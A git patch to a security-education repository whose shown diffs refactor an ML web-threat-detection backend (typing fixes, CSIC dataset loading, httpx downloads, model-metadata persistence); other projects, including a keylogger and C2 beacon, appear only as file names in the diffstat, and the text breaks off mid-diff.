From f9b5a614d341d34c0bc8b6302f01435c7e756826 Mon Sep 17 00:00:00 2001 From: CarterPerez-dev Date: Sat, 28 Feb 2026 14:08:36 -0500 Subject: [PATCH] feat: did a couple things idk --- .../advanced/ai-threat-detection/.gitignore | 2 +- .../backend/app/api/models_api.py | 2 +- .../backend/app/core/detection/inference.py | 15 +- .../backend/app/core/features/mappings.py | 2 + .../backend/app/factory.py | 6 +- .../backend/app/models/model_metadata.py | 1 - .../ai-threat-detection/backend/cli/main.py | 70 +- .../backend/ml/autoencoder.py | 4 +- .../backend/ml/data_loader.py | 47 +- .../backend/ml/download_csic.py | 47 +- .../backend/ml/export_onnx.py | 2 +- .../backend/ml/metadata.py | 6 +- .../backend/ml/orchestrator.py | 31 +- .../ai-threat-detection/backend/ml/scaler.py | 8 +- .../backend/ml/synthetic.py | 32 +- .../backend/ml/train_autoencoder.py | 2 +- .../backend/pyproject.toml | 17 +- .../backend/tests/test_cli.py | 36 + .../backend/tests/test_metadata.py | 32 + .../backend/tests/test_synthetic.py | 19 +- .../advanced/api-rate-limiter/examples/app.py | 13 + .../src/fastapi_420/__init__.py | 17 + .../src/fastapi_420/algorithms/__init__.py | 16 + .../src/fastapi_420/algorithms/base.py | 16 + .../fastapi_420/algorithms/fixed_window.py | 13 + .../fastapi_420/algorithms/sliding_window.py | 11 + .../fastapi_420/algorithms/token_bucket.py | 11 + .../src/fastapi_420/config.py | 17 + .../src/fastapi_420/defense/__init__.py | 6 + .../fastapi_420/defense/circuit_breaker.py | 17 + .../src/fastapi_420/defense/layers.py | 20 + .../src/fastapi_420/dependencies.py | 21 + .../src/fastapi_420/exceptions.py | 20 + .../fastapi_420/fingerprinting/__init__.py | 8 + .../src/fastapi_420/fingerprinting/auth.py | 12 + .../fastapi_420/fingerprinting/composite.py | 19 + .../src/fastapi_420/fingerprinting/headers.py | 13 + .../src/fastapi_420/fingerprinting/ip.py | 14 + .../src/fastapi_420/limiter.py | 21 + .../src/fastapi_420/middleware.py | 17 + .../src/fastapi_420/storage/__init__.py | 14 + .../src/fastapi_420/storage/memory.py | 16 + .../src/fastapi_420/storage/redis_backend.py | 18 + .../api-rate-limiter/src/fastapi_420/types.py | 16 + .../api-rate-limiter/tests/conftest.py | 13 + .../api-rate-limiter/tests/test_algorithms.py | 9 + .../tests/test_fingerprinting.py | 9 + .../tests/test_integration.py | 11 + .../api-rate-limiter/tests/test_limiter.py | 10 + .../api-rate-limiter/tests/test_storage.py | 11 + .../api-rate-limiter/tests/test_types.py | 10 + PROJECTS/advanced/api-rate-limiter/uv.lock | 72 +- .../base64-tool/src/base64_tool/cli.py | 22 + .../base64-tool/src/base64_tool/constants.py | 22 + .../base64-tool/src/base64_tool/detector.py | 24 + .../base64-tool/src/base64_tool/encoders.py | 23 + .../base64-tool/src/base64_tool/formatter.py | 24 + .../base64-tool/src/base64_tool/peeler.py | 21 + .../base64-tool/src/base64_tool/utils.py | 21 + .../beginner/base64-tool/tests/test_cli.py | 69 ++ .../base64-tool/tests/test_detector.py | 68 ++ .../base64-tool/tests/test_encoders.py | 115 +++ .../beginner/base64-tool/tests/test_peeler.py | 44 ++ .../base64-tool/tests/test_properties.py | 62 ++ .../c2-beacon/backend/app/__main__.py | 16 + .../c2-beacon/backend/app/beacon/registry.py | 14 + .../c2-beacon/backend/app/beacon/router.py | 17 + .../c2-beacon/backend/app/beacon/tasking.py | 14 + .../beginner/c2-beacon/backend/app/config.py | 11 + .../c2-beacon/backend/app/core/encoding.py | 16 + .../c2-beacon/backend/app/core/models.py | 18 + .../c2-beacon/backend/app/core/protocol.py | 18 + .../c2-beacon/backend/app/database.py | 15 + .../c2-beacon/backend/app/ops/manager.py | 12 + .../c2-beacon/backend/app/ops/router.py | 19 + .../c2-beacon/backend/tests/conftest.py | 6 + .../c2-beacon/backend/tests/test_app.py | 9 + .../c2-beacon/backend/tests/test_encoding.py | 9 + .../c2-beacon/backend/tests/test_protocol.py | 9 + .../c2-beacon/backend/tests/test_registry.py | 10 + .../c2-beacon/backend/tests/test_tasking.py | 9 + PROJECTS/beginner/c2-beacon/beacon/beacon.py | 13 + .../beginner/c2-beacon/frontend/src/App.tsx | 9 + .../beginner/c2-beacon/frontend/src/config.ts | 15 + .../frontend/src/core/app/routers.tsx | 12 + .../c2-beacon/frontend/src/core/app/shell.tsx | 16 + .../frontend/src/core/lib/shell.ui.store.ts | 14 + .../c2-beacon/frontend/src/core/types.ts | 18 + .../c2-beacon/frontend/src/core/ws.ts | 19 + .../beginner/c2-beacon/frontend/src/main.tsx | 2 + .../frontend/src/pages/dashboard/index.tsx | 15 + .../frontend/src/pages/session/index.tsx | 16 + PROJECTS/beginner/caesar-cipher/.gitignore | 25 +- .../src/caesar_cipher/__init__.py | 9 + .../src/caesar_cipher/analyzer.py | 13 +- .../caesar-cipher/src/caesar_cipher/cipher.py | 14 +- .../src/caesar_cipher/constants.py | 13 +- .../caesar-cipher/src/caesar_cipher/main.py | 17 +- .../caesar-cipher/src/caesar_cipher/utils.py | 11 +- .../caesar-cipher/tests/test_analyzer.py | 35 +- .../caesar-cipher/tests/test_cipher.py | 71 +- .../beginner/caesar-cipher/tests/test_cli.py | 52 +- PROJECTS/beginner/dns-lookup/dnslookup/cli.py | 15 + .../beginner/dns-lookup/dnslookup/output.py | 18 + .../beginner/dns-lookup/dnslookup/resolver.py | 22 + .../dns-lookup/dnslookup/whois_lookup.py | 15 + .../dns-lookup/tests/test_resolver.py | 68 ++ PROJECTS/beginner/keylogger/.gitignore | 24 + PROJECTS/beginner/keylogger/justfile | 6 +- PROJECTS/beginner/keylogger/keylogger.py | 387 ++++++---- .../beginner/keylogger/learn/00-OVERVIEW.md | 10 +- .../beginner/keylogger/learn/01-CONCEPTS.md | 97 +-- .../keylogger/learn/02-ARCHITECTURE.md | 200 ++--- .../keylogger/learn/03-IMPLEMENTATION.md | 448 ++++++------ .../beginner/keylogger/learn/04-CHALLENGES.md | 16 +- PROJECTS/beginner/keylogger/pyproject.toml | 12 +- PROJECTS/beginner/keylogger/test_keylogger.py | 688 ++++++++++++++---- PROJECTS/beginner/keylogger/uv.lock | 574 +++++++++++++++ .../python/src/netanal/analyzer.py | 18 + .../python/src/netanal/capture.py | 22 +- .../python/src/netanal/constants.py | 27 +- .../python/src/netanal/exceptions.py | 18 + .../python/src/netanal/export.py | 19 + .../python/src/netanal/filters.py | 18 + .../python/src/netanal/main.py | 19 + .../python/src/netanal/models.py | 25 + .../python/src/netanal/output.py | 22 + .../python/src/netanal/statistics.py | 16 +- .../python/src/netanal/visualization.py | 18 + .../python/tests/test_filters.py | 15 + .../python/tests/test_models.py | 15 + .../cmd/angela/main.go | 8 +- .../internal/cli/output.go | 26 +- .../internal/cli/update.go | 29 +- .../internal/config/config.go | 15 +- .../internal/osv/client.go | 23 +- .../internal/osv/client_test.go | 16 +- .../internal/pypi/cache.go | 21 +- .../internal/pypi/cache_test.go | 16 +- .../internal/pypi/client.go | 27 +- .../internal/pypi/client_test.go | 11 +- .../internal/pypi/version.go | 24 +- .../internal/pypi/version_test.go | 18 +- .../internal/pyproject/parser.go | 22 +- .../internal/pyproject/parser_test.go | 12 +- .../internal/pyproject/writer.go | 21 +- .../internal/pyproject/writer_test.go | 17 +- .../internal/requirements/parser.go | 20 +- .../internal/requirements/parser_test.go | 15 +- .../internal/requirements/writer.go | 18 +- .../internal/requirements/writer_test.go | 13 +- .../internal/ui/banner.go | 21 +- .../internal/ui/color.go | 18 +- .../internal/ui/spinner.go | 20 +- .../internal/ui/symbol.go | 16 +- .../pkg/types/types.go | 19 +- .../docker-security-audit/cmd/docksec/main.go | 14 +- .../internal/analyzer/analyzer.go | 21 +- .../internal/analyzer/compose.go | 22 +- .../internal/analyzer/container.go | 20 + .../internal/analyzer/container_test.go | 24 + .../internal/analyzer/daemon.go | 20 +- .../internal/analyzer/dockerfile.go | 22 +- .../internal/analyzer/image.go | 17 + .../internal/benchmark/controls.go | 24 +- .../internal/config/config.go | 20 +- .../internal/config/constants.go | 5 +- .../internal/docker/client.go | 20 + .../internal/finding/finding.go | 25 +- .../internal/parser/compose.go | 20 + .../internal/parser/dockerfile.go | 17 + .../internal/parser/visitor.go | 19 + .../internal/proc/capabilities.go | 26 + .../internal/proc/proc.go | 21 + .../internal/proc/security.go | 19 + .../internal/report/json.go | 16 +- .../internal/report/junit.go | 16 +- .../internal/report/reporter.go | 19 +- .../internal/report/sarif.go | 17 +- .../internal/report/terminal.go | 17 +- .../internal/rules/capabilities.go | 23 +- .../internal/rules/paths.go | 22 +- .../internal/rules/secrets.go | 25 +- .../internal/scanner/scanner.go | 25 +- .../tests/e2e/e2e_test.go | 23 +- .../tests/integration/compose_test.go | 30 +- .../tests/integration/dockerfile_test.go | 26 +- .../secrets-scanner/cmd/portia/main.go | 8 +- .../secrets-scanner/internal/cli/config.go | 18 +- .../secrets-scanner/internal/cli/git.go | 20 +- .../secrets-scanner/internal/cli/init.go | 19 +- .../secrets-scanner/internal/cli/root.go | 25 +- .../secrets-scanner/internal/cli/scan.go | 26 +- .../secrets-scanner/internal/config/config.go | 23 +- .../internal/config/config_test.go | 16 +- .../internal/engine/detector.go | 24 +- .../internal/engine/detector_test.go | 19 +- .../secrets-scanner/internal/engine/filter.go | 25 +- .../internal/engine/filter_test.go | 16 +- .../internal/engine/integration_test.go | 17 +- .../internal/engine/pipeline.go | 23 +- .../internal/engine/pipeline_test.go | 15 +- .../secrets-scanner/internal/hibp/client.go | 23 +- .../internal/hibp/client_test.go | 18 +- .../secrets-scanner/internal/reporter/json.go | 15 +- .../internal/reporter/reporter.go | 23 +- .../internal/reporter/reporter_test.go | 20 +- .../internal/reporter/sarif.go | 18 +- .../internal/reporter/terminal.go | 20 +- .../secrets-scanner/internal/rules/builtin.go | 23 +- .../internal/rules/builtin_test.go | 17 +- .../secrets-scanner/internal/rules/entropy.go | 24 +- .../internal/rules/entropy_test.go | 16 +- .../internal/rules/registry.go | 27 +- .../internal/rules/registry_test.go | 20 +- .../internal/source/directory.go | 22 +- .../secrets-scanner/internal/source/git.go | 22 +- .../secrets-scanner/internal/source/source.go | 19 +- .../internal/source/source_test.go | 24 +- .../secrets-scanner/internal/ui/banner.go | 23 +- .../secrets-scanner/internal/ui/color.go | 19 +- .../secrets-scanner/internal/ui/spinner.go | 21 +- .../secrets-scanner/internal/ui/symbol.go | 17 +- .../secrets-scanner/pkg/types/types.go | 21 +- .../siem-dashboard/backend/app/__init__.py | 17 + .../siem-dashboard/backend/app/cli.py | 15 + .../siem-dashboard/backend/app/config.py | 11 + .../backend/app/controllers/admin_ctrl.py | 16 + .../backend/app/controllers/alert_ctrl.py | 15 + .../backend/app/controllers/auth_ctrl.py | 16 + .../backend/app/controllers/dashboard_ctrl.py | 15 + .../backend/app/controllers/log_ctrl.py | 17 + .../backend/app/controllers/rule_ctrl.py | 16 + .../backend/app/controllers/scenario_ctrl.py | 16 + .../siem-dashboard/backend/app/core/auth.py | 21 + .../backend/app/core/decorators/endpoint.py | 15 + .../backend/app/core/decorators/response.py | 14 + .../backend/app/core/decorators/schema.py | 14 + .../siem-dashboard/backend/app/core/errors.py | 18 + .../backend/app/core/rate_limiting.py | 16 + .../backend/app/core/serialization.py | 15 + .../backend/app/core/streaming.py | 23 + .../backend/app/engine/correlation.py | 22 + .../backend/app/engine/normalizer.py | 15 + .../backend/app/engine/severity.py | 15 + .../siem-dashboard/backend/app/extensions.py | 16 + .../backend/app/models/Alert.py | 19 + .../siem-dashboard/backend/app/models/Base.py | 14 + .../backend/app/models/CorrelationRule.py | 18 + .../backend/app/models/LogEvent.py | 19 + .../backend/app/models/ScenarioRun.py | 17 + .../siem-dashboard/backend/app/models/User.py | 20 + .../backend/app/routes/__init__.py | 8 + .../backend/app/routes/admin.py | 13 + .../backend/app/routes/alerts.py | 10 + .../siem-dashboard/backend/app/routes/auth.py | 12 + .../backend/app/routes/dashboard.py | 10 + .../siem-dashboard/backend/app/routes/logs.py | 11 + .../backend/app/routes/rules.py | 11 + .../backend/app/routes/scenarios.py | 10 + .../backend/app/scenarios/playbook.py | 16 + .../backend/app/scenarios/runner.py | 23 + .../backend/app/schemas/admin.py | 15 + .../backend/app/schemas/alert.py | 14 + .../backend/app/schemas/auth.py | 16 + .../backend/app/schemas/dashboard.py | 13 + .../backend/app/schemas/log_event.py | 16 + .../backend/app/schemas/rule.py | 19 + .../backend/app/schemas/scenario.py | 13 + .../siem-dashboard/backend/wsgi.py | 2 + .../siem-dashboard/frontend/src/App.tsx | 13 + .../frontend/src/api/hooks/useAdmin.ts | 20 + .../frontend/src/api/hooks/useAlerts.ts | 16 + .../frontend/src/api/hooks/useAuth.ts | 18 + .../frontend/src/api/hooks/useDashboard.ts | 18 + .../frontend/src/api/hooks/useEventStream.ts | 17 + .../frontend/src/api/hooks/useLogs.ts | 17 + .../frontend/src/api/hooks/useRules.ts | 17 + .../frontend/src/api/hooks/useScenarios.ts | 19 + .../frontend/src/api/types/admin.types.ts | 16 + .../frontend/src/api/types/alert.types.ts | 17 + .../frontend/src/api/types/auth.types.ts | 18 + .../frontend/src/api/types/common.types.ts | 12 + .../frontend/src/api/types/dashboard.types.ts | 16 + .../frontend/src/api/types/log.types.ts | 15 + .../frontend/src/api/types/rule.types.ts | 15 + .../frontend/src/api/types/scenario.types.ts | 15 + .../siem-dashboard/frontend/src/config.ts | 14 + .../frontend/src/core/app/admin-route.tsx | 13 + .../frontend/src/core/app/protected-route.tsx | 13 + .../frontend/src/core/app/router.tsx | 14 + .../frontend/src/core/app/shell.tsx | 16 + .../frontend/src/core/charts/theme.ts | 16 + .../frontend/src/core/lib/api.ts | 16 + .../frontend/src/core/lib/errors.ts | 17 + .../frontend/src/core/lib/query.ts | 16 + .../frontend/src/core/stores/auth.store.ts | 17 + .../frontend/src/core/stores/stream.store.ts | 13 + .../frontend/src/core/stores/ui.store.ts | 13 + .../siem-dashboard/frontend/src/main.tsx | 2 + .../frontend/src/routes/admin/index.tsx | 16 + .../frontend/src/routes/alerts/index.tsx | 16 + .../dashboard/components/event-timeline.tsx | 14 + .../dashboard/components/severity-chart.tsx | 15 + .../dashboard/components/stat-cards.tsx | 12 + .../dashboard/components/top-sources.tsx | 12 + .../frontend/src/routes/dashboard/index.tsx | 13 + .../frontend/src/routes/landing/index.tsx | 12 + .../frontend/src/routes/login/index.tsx | 15 + .../frontend/src/routes/logs/index.tsx | 15 + .../frontend/src/routes/register/index.tsx | 15 + .../frontend/src/routes/rules/index.tsx | 15 + .../frontend/src/routes/scenarios/index.tsx | 16 + .../frontend/src/routes/settings/index.tsx | 14 + 314 files changed, 7119 insertions(+), 974 deletions(-) create mode 100644 PROJECTS/beginner/keylogger/.gitignore create mode 100644 PROJECTS/beginner/keylogger/uv.lock diff --git a/PROJECTS/advanced/ai-threat-detection/.gitignore b/PROJECTS/advanced/ai-threat-detection/.gitignore index 2e26837e..eae83fb8 100644 --- a/PROJECTS/advanced/ai-threat-detection/.gitignore +++ b/PROJECTS/advanced/ai-threat-detection/.gitignore @@ -1,7 +1,7 @@ # ©AngelaMos | 2026 # .gitignore -# Planning docs +# dev docs .angelusvigil/ # Environment diff --git a/PROJECTS/advanced/ai-threat-detection/backend/app/api/models_api.py b/PROJECTS/advanced/ai-threat-detection/backend/app/api/models_api.py index c576044d..4b01584c 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/app/api/models_api.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/app/api/models_api.py @@ -52,7 +52,7 @@ async def _get_active_models( Query all active model metadata records """ query = select(ModelMetadata).where( - ModelMetadata.is_active == True # noqa: E712 + ModelMetadata.is_active == True # type: ignore[arg-type] # noqa: E712 ) rows = (await session.execute(query)).scalars().all() return [{ diff --git a/PROJECTS/advanced/ai-threat-detection/backend/app/core/detection/inference.py b/PROJECTS/advanced/ai-threat-detection/backend/app/core/detection/inference.py index 5f4933ef..2aee512c 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/app/core/detection/inference.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/app/core/detection/inference.py @@ -6,13 +6,14 @@ inference.py import json import logging from pathlib import Path +from typing import Any import numpy as np try: import onnxruntime as ort except ImportError: - ort = None # type: ignore[assignment] + ort = None logger = logging.getLogger(__name__) @@ -33,9 +34,9 @@ class InferenceEngine: """ def __init__(self, model_dir: str) -> None: - self._ae_session: ort.InferenceSession | None = None # type: ignore[union-attr] - self._rf_session: ort.InferenceSession | None = None # type: ignore[union-attr] - self._if_session: ort.InferenceSession | None = None # type: ignore[union-attr] + self._ae_session: ort.InferenceSession | None = None + self._rf_session: ort.InferenceSession | None = None + self._if_session: ort.InferenceSession | None = None self._scaler_center: np.ndarray | None = None self._scaler_scale: np.ndarray | None = None self._threshold: float = 0.0 @@ -127,12 +128,12 @@ class InferenceEngine: """ if self._scaler_center is None or self._scaler_scale is None: return batch - return (batch - self._scaler_center) / self._scaler_scale + return (batch - self._scaler_center) / self._scaler_scale # type: ignore[no-any-return] @staticmethod def _extract_rf_proba( - ort_output: list | np.ndarray - ) -> np.ndarray: # type: ignore[type-arg] + ort_output: list[Any] | np.ndarray + ) -> np.ndarray: """ Extract attack probability from skl2onnx RF output format. diff --git a/PROJECTS/advanced/ai-threat-detection/backend/app/core/features/mappings.py b/PROJECTS/advanced/ai-threat-detection/backend/app/core/features/mappings.py index 5f91d496..38e57798 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/app/core/features/mappings.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/app/core/features/mappings.py @@ -93,6 +93,8 @@ CATEGORICAL_ENCODERS: dict[str, dict[str, int]] = { "file_extension": EXTENSION_MAP, } +WINDOWED_FEATURE_NAMES: list[str] = FEATURE_ORDER[23:] + BOOLEAN_FEATURES: frozenset[str] = frozenset({ "has_encoded_chars", "has_double_encoding", diff --git a/PROJECTS/advanced/ai-threat-detection/backend/app/factory.py b/PROJECTS/advanced/ai-threat-detection/backend/app/factory.py index 62a5a19c..27971a6c 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/app/factory.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/app/factory.py @@ -9,6 +9,7 @@ import time from collections.abc import AsyncIterator from contextlib import asynccontextmanager from pathlib import Path +from typing import TYPE_CHECKING from fastapi import FastAPI from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker, create_async_engine @@ -24,6 +25,9 @@ from app.core.redis_manager import redis_manager from app.models import model_metadata as _model_metadata_reg # noqa: F401 from app.models import threat_event as _threat_event_reg # noqa: F401 +if TYPE_CHECKING: + from app.core.detection.inference import InferenceEngine + logger = logging.getLogger(__name__) @@ -110,7 +114,7 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]: logger.info("AngelusVigil shut down cleanly") -def _load_inference_engine() -> object | None: +def _load_inference_engine() -> InferenceEngine | None: """ Attempt to load the ONNX inference engine from the configured model directory, returning None if ML diff --git a/PROJECTS/advanced/ai-threat-detection/backend/app/models/model_metadata.py b/PROJECTS/advanced/ai-threat-detection/backend/app/models/model_metadata.py index 5855cfe6..6311239a 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/app/models/model_metadata.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/app/models/model_metadata.py @@ -18,7 +18,6 @@ class ModelMetadata(TimestampedModel, table=True): __table_args__ = (Index( "idx_model_metadata_active", "model_type", - unique=True, postgresql_where=text("is_active = TRUE"), ), ) diff --git a/PROJECTS/advanced/ai-threat-detection/backend/cli/main.py b/PROJECTS/advanced/ai-threat-detection/backend/cli/main.py index b05a6b4a..ab47502d 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/cli/main.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/cli/main.py @@ -3,6 +3,8 @@ main.py """ +import asyncio +import dataclasses from pathlib import Path import typer @@ -22,6 +24,44 @@ DEFAULT_EXPERIMENT_NAME = "angelusvigil-training" DEFAULT_SERVER_URL = "http://localhost:8000" +async def _write_metadata( + model_dir: Path, + training_samples: int, + metrics: dict[str, object], + mlflow_run_id: str | None, + threshold: float | None, +) -> None: + """ + Persist training metadata to the database + """ + from app.config import settings + from ml.metadata import save_model_metadata + from sqlalchemy.ext.asyncio import ( + AsyncSession, + async_sessionmaker, + create_async_engine, + ) + + engine = create_async_engine(settings.database_url) + try: + factory = async_sessionmaker( + engine, + class_=AsyncSession, + expire_on_commit=False, + ) + async with factory() as session: + await save_model_metadata( + session, + model_dir=model_dir, + training_samples=training_samples, + metrics=metrics, + mlflow_run_id=mlflow_run_id, + threshold=threshold, + ) + finally: + await engine.dispose() + + @app.command() def serve( host: str = typer.Option("0.0.0.0", help="Bind address"), @@ -92,9 +132,10 @@ def train( ) raise typer.Exit(code=1) - from ml.data_loader import load_csic_dataset + from ml.data_loader import load_csic_dataset, load_csic_normal normal_path = csic_dir / "normalTrafficTraining.txt" + normal_test_path = csic_dir / "normalTrafficTest.txt" attack_path = csic_dir / "anomalousTrafficTest.txt" typer.echo(f"Loading CSIC data from {csic_dir}") X_csic, y_csic = load_csic_dataset( @@ -106,6 +147,14 @@ def train( f" CSIC: {len(X_csic)} samples" ) + if normal_test_path.exists(): + X_extra, y_extra = load_csic_normal(normal_test_path) + X_parts.append(X_extra) + y_parts.append(y_extra) + typer.echo( + f" CSIC normal test: {len(X_extra)} samples" + ) + if synthetic_normal > 0 or synthetic_attack > 0: from ml.synthetic import generate_mixed_dataset @@ -143,6 +192,25 @@ def train( ) result = orch.run(X, y) + try: + metrics: dict[str, object] = ( + dataclasses.asdict(result.ensemble_metrics) + if result.ensemble_metrics else {} + ) + asyncio.run(_write_metadata( + Path(output_dir), + int(len(X)), + metrics, + result.mlflow_run_id, + result.ae_metrics.get("ae_threshold"), + )) + typer.echo(" Model metadata saved to database") + except Exception as exc: + typer.echo( + f" Warning: could not save metadata to DB: {exc}", + err=True, + ) + typer.echo(f"Models exported to {output_dir}") if result.ensemble_metrics is not None: typer.echo( diff --git a/PROJECTS/advanced/ai-threat-detection/backend/ml/autoencoder.py b/PROJECTS/advanced/ai-threat-detection/backend/ml/autoencoder.py index 97e96887..586468d3 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/ml/autoencoder.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/ml/autoencoder.py @@ -51,13 +51,13 @@ class ThreatAutoencoder(nn.Module): """ Compress input through the encoder to the 6-dim bottleneck. """ - return self.encoder(x) + return self.encoder(x) # type: ignore[no-any-return] def decode(self, z: Tensor) -> Tensor: """ Reconstruct input from the bottleneck representation. """ - return self.decoder(z) + return self.decoder(z) # type: ignore[no-any-return] def forward(self, x: Tensor) -> Tensor: """ diff --git a/PROJECTS/advanced/ai-threat-detection/backend/ml/data_loader.py b/PROJECTS/advanced/ai-threat-detection/backend/ml/data_loader.py index 540c7334..4e9454ba 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/ml/data_loader.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/ml/data_loader.py @@ -13,6 +13,7 @@ import numpy as np from app.core.features.encoder import encode_for_inference from app.core.features.extractor import extract_request_features +from app.core.features.mappings import WINDOWED_FEATURE_NAMES from app.core.ingestion.parsers import ParsedLogEntry logger = logging.getLogger(__name__) @@ -26,21 +27,6 @@ _DEFAULT_IP = "192.168.1.100" _DEFAULT_UA = ("Mozilla/5.0 (compatible; Konqueror/3.5; Linux)" " KHTML/3.5.8 (like Gecko)") -_WINDOWED_FEATURE_NAMES: list[str] = [ - "req_count_1m", - "req_count_5m", - "req_count_10m", - "error_rate_5m", - "unique_paths_5m", - "unique_uas_10m", - "method_entropy_5m", - "avg_response_size_5m", - "status_diversity_5m", - "path_depth_variance_5m", - "inter_request_time_mean", - "inter_request_time_std", -] - @dataclass class CSICRequest: @@ -192,7 +178,7 @@ def load_csic_dataset( entry = csic_to_parsed_entry(req) features = extract_request_features(entry) - for name in _WINDOWED_FEATURE_NAMES: + for name in WINDOWED_FEATURE_NAMES: features[name] = 0.0 vector = encode_for_inference(features) @@ -211,3 +197,32 @@ def load_csic_dataset( ) return X, y + + +def load_csic_normal( + path: Path, +) -> tuple[np.ndarray, np.ndarray]: + """ + Load a CSIC 2010 normal traffic file and return (X, y) arrays + with all labels set to 0 + """ + reqs = parse_csic_file(path, label=0) + + vectors: list[list[float]] = [] + for req in reqs: + entry = csic_to_parsed_entry(req) + features = extract_request_features(entry) + for name in WINDOWED_FEATURE_NAMES: + features[name] = 0.0 + vectors.append(encode_for_inference(features)) + + X = np.array(vectors, dtype=np.float32) + y = np.zeros(len(vectors), dtype=np.int32) + + logger.info( + "Loaded %d normal samples from %s", + len(vectors), + path.name, + ) + + return X, y diff --git a/PROJECTS/advanced/ai-threat-detection/backend/ml/download_csic.py b/PROJECTS/advanced/ai-threat-detection/backend/ml/download_csic.py index 9f2a601d..75b1cb31 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/ml/download_csic.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/ml/download_csic.py @@ -7,7 +7,8 @@ import hashlib import logging import sys from pathlib import Path -from urllib.request import urlretrieve + +import httpx logger = logging.getLogger(__name__) @@ -26,24 +27,6 @@ FILES = [ MIN_FILE_BYTES = 1_000_000 -def _progress_hook( - block_num: int, - block_size: int, - total_size: int, -) -> None: - """ - Print download progress to stdout - """ - downloaded = block_num * block_size - if total_size > 0: - pct = min(downloaded * 100 / total_size, 100) - sys.stdout.write(f"\r {pct:.0f}%") - else: - mb = downloaded / 1_048_576 - sys.stdout.write(f"\r {mb:.1f} MB") - sys.stdout.flush() - - def _compute_sha256(path: Path) -> str: """ Compute SHA-256 hash of a file @@ -73,7 +56,31 @@ def download_csic(output_dir: Path = DATASET_DIR, ) -> None: print(f"Downloading {filename}...") try: - urlretrieve(url, dest, reporthook=_progress_hook) + with httpx.stream( + "GET", + url, + follow_redirects=True, + ) as response: + response.raise_for_status() + total = int( + response.headers.get("content-length", 0) + ) + downloaded = 0 + with open(dest, "wb") as f: + for chunk in response.iter_bytes( + chunk_size=65536 + ): + f.write(chunk) + downloaded += len(chunk) + if total > 0: + pct = min( + downloaded * 100 / total, 100 + ) + sys.stdout.write(f"\r {pct:.0f}%") + else: + mb = downloaded / 1_048_576 + sys.stdout.write(f"\r {mb:.1f} MB") + sys.stdout.flush() print() except Exception as exc: logger.error( diff --git a/PROJECTS/advanced/ai-threat-detection/backend/ml/export_onnx.py b/PROJECTS/advanced/ai-threat-detection/backend/ml/export_onnx.py index 0c49861e..593dba8f 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/ml/export_onnx.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/ml/export_onnx.py @@ -34,7 +34,7 @@ def export_autoencoder( torch.onnx.export( model, - dummy, + dummy, # type: ignore[arg-type] str(path), opset_version=opset, export_params=True, diff --git a/PROJECTS/advanced/ai-threat-detection/backend/ml/metadata.py b/PROJECTS/advanced/ai-threat-detection/backend/ml/metadata.py index 37035551..9d3c4e22 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/ml/metadata.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/ml/metadata.py @@ -50,11 +50,11 @@ async def save_model_metadata( result = await session.execute( select(ModelMetadata).where( - ModelMetadata.model_type == model_type, - ModelMetadata.is_active == True, # noqa: E712 + ModelMetadata.model_type == model_type, # type: ignore[arg-type] + ModelMetadata.is_active == True, # type: ignore[arg-type] # noqa: E712 )) for old in result.scalars().all(): - await session.delete(old) + old.is_active = False await session.flush() row = ModelMetadata( diff --git a/PROJECTS/advanced/ai-threat-detection/backend/ml/orchestrator.py b/PROJECTS/advanced/ai-threat-detection/backend/ml/orchestrator.py index 1267ed94..729321d9 100644 --- a/PROJECTS/advanced/ai-threat-detection/backend/ml/orchestrator.py +++ b/PROJECTS/advanced/ai-threat-detection/backend/ml/orchestrator.py @@ -5,8 +5,10 @@ orchestrator.py import json import logging +import sys from dataclasses import dataclass from pathlib import Path +from typing import Any import numpy as np @@ -133,13 +135,24 @@ class TrainingOrchestrator: "ensemble_roc_auc": ensemble.roc_auc, }) passed = ensemble.passed_gates - except Exception: + except Exception as exc: logger.exception("Ensemble validation failed") + print( + f" WARNING: validation raised" + f" {type(exc).__name__}: {exc}", + file=sys.stderr, + ) ensemble = None passed = False - for artifact in self._output_dir.iterdir(): - experiment.log_artifact(artifact) + for name in ( + AE_FILENAME, + RF_FILENAME, + IF_FILENAME, + SCALER_FILENAME, + THRESHOLD_FILENAME, + ): + experiment.log_artifact(self._output_dir / name) run_id = experiment.run_id @@ -159,7 +172,7 @@ class TrainingOrchestrator: mlflow_run_id=run_id, ) - def _train_ae(self, X_normal: np.ndarray) -> dict: + def _train_ae(self, X_normal: np.ndarray) -> dict[str, Any]: """ Train the autoencoder on normal-only data """ @@ -174,7 +187,7 @@ class TrainingOrchestrator: batch_size=self._batch_size, ) - def _train_rf(self, X: np.ndarray, y: np.ndarray) -> dict: + def _train_rf(self, X: np.ndarray, y: np.ndarray) -> dict[str, Any]: """ Train the random forest classifier """ @@ -184,7 +197,7 @@ class TrainingOrchestrator: ) return train_random_forest(X, y) - def _train_if(self, X_normal: np.ndarray) -> dict: + def _train_if(self, X_normal: np.ndarray) -> dict[str, Any]: """ Train the isolation forest on normal-only data """ @@ -196,9 +209,9 @@ class TrainingOrchestrator: def _export_models( self, - ae_result: dict, - rf_result: dict, - if_result: dict, + ae_result: dict[str, Any], + rf_result: dict[str, Any], + if_result: dict[str, Any], ) -> None: """ Export all 3 models to ONNX and save scaler/threshold diff --git a/PROJECTS/advanced/ai-threat-detection/backend/ml/scaler.py b/PROJECTS/advanced/ai-threat-detection/backend/ml/scaler.py index 5a4909b6..3619161c 100644 --- 